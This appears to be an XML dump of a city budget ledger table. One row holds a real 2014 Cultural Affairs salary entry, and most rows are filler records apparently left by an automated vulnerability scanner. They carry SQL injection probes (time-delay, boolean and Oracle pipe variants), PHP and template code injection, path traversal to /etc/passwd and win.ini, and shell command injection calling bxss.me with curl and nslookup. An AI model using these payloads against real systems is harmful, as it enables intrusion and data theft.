<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=26 or 'wa8edcfn'='</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1" OR 5*5=26 or "417LH9zG"="</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>42697.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>-262.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>42435.0</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>${@print(md5(31337))}\</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>19934506</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>${9999810+9999219}</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>';print(md5(31337));$a='</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>http://bxss.me/t/fit.txt%3F.jpg</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>`(nslookup -q=cname hituiuzqnhwmb1256b.bxss.me||curl hituiuzqnhwmb1256b.bxss.me)`</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>941029883077</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1'"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>$(nslookup -q=cname hitlctpvuooyie5e33.bxss.me||curl hitlctpvuooyie5e33.bxss.me)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>(nslookup -q=cname hitqnzjbwolyuc83b1.bxss.me||curl hitqnzjbwolyuc83b1.bxss.me))</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>../ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>|echo mlxpeq$()\ mcvugx\nz^xyu||a #' |echo mlxpeq$()\ mcvugx\nz^xyu||a #|" |echo mlxpeq$()\ mcvugx\nz^xyu||a #</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>".gethostbyname(lc("hitgn"."cxskzdbs1dd69.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(76).chr(114).chr(90)."</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>iaLHoCVU</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>(select 198766*667891 from DUAL)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1kymSbVIc') OR 896=(SELECT 896 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>file:///etc/passwd</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1lHmqHUFP'; waitfor delay '0:0:15' -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1 OR 176=(SELECT 176 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>../../../../../../../../../../../../../../windows/win.ini</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>(select 198766*667891)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1rBBFjv9T' OR 400=(SELECT 400 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>../../../../../../../../../../../../../../etc/passwd</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1)) OR 671=(SELECT 671 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1) OR 630=(SELECT 630 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1gyqCE0LR'; waitfor delay '0:0:15' -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1 waitfor delay '0:0:15' -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1; waitfor delay '0:0:15' -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>(select 198766*667891)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>@@7vlZp</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>gethostbyname(lc('hitoj'.'dwbejudrbad85.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(84).chr(111).chr(65)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>`(nslookup -q=cname hitxiictvajbv89825.bxss.me||curl hitxiictvajbv89825.bxss.me)`</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU����%2527%2522\'\"</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1" OR 5*5=25 -- </category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>".gethostbyname(lc("hitef"."zjkoqqxab6424.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(67).chr(115).chr(75)."</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>|(nslookup -q=cname hitsbnwbjdzli191e0.bxss.me||curl hitsbnwbjdzli191e0.bxss.me)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1IY1V98Iy</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
